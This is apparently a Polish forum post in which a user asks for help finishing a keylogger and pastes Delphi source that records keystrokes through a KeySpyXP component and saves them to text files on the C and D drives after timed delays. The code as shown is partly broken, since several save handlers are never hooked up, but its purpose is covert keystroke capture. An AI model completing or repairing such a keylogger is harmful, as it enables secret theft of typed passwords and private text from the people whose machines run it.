Witam. Chciałbym zobić keyloggera, kod źródłowy mam ale nie che działać. powinny powstawać pliki tekstowe na dysku c i d. proszę o pomoc, kod źródłowy:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, KeySpyXP;
type
TForm1 = class(TForm)
KeySpyXP1: TKeySpyXP;
Memo1: TMemo;
procedure KeySpyXP1Key(Sender: TObject; key: String);
procedure KeySpyXP1Keyword(Sender: TObject; keyword: String);
procedure FormCreate(Sender: TObject);
procedure FormCreate2(Sender: TObject);
procedure FormCreate3(Sender: TObject);
procedure FormCreate4(Sender: TObject);
procedure FormCreate5(Sender: TObject);
procedure FormCreate6(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.KeySpyXP1Key(Sender: TObject; key: String);
begin
if key[1]='{' then
memo1.lines.add(key) else
memo1.Text:=memo1.text+key;
end;
procedure TForm1.KeySpyXP1Keyword(Sender: TObject; keyword: String);
begin
showmessage('Keyword');
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Sleep (60000);
end;
procedure TForm1.FormCreate2(Sender: TObject);
Var
TF : TextFile;
begin
AssignFile(TF, 'C:\plik.txt');
Memo1.Lines.SaveToFile('C:\plik.txt');
CloseFile(TF);
end;
procedure TForm1.FormCreate3(Sender: TObject);
begin
Sleep (60000);
end;
procedure TForm1.FormCreate4(Sender: TObject);
begin
Memo1.Lines.SaveToFile('d:\swiatinformatycza.txt');
end;
procedure TForm1.FormCreate5(Sender: TObject);
begin
Sleep (60000);
end;
procedure TForm1.FormCreate6(Sender: TObject);
begin
Memo1.Lines.SaveToFile('d:\swiatinformatykit.txt');
end;
end.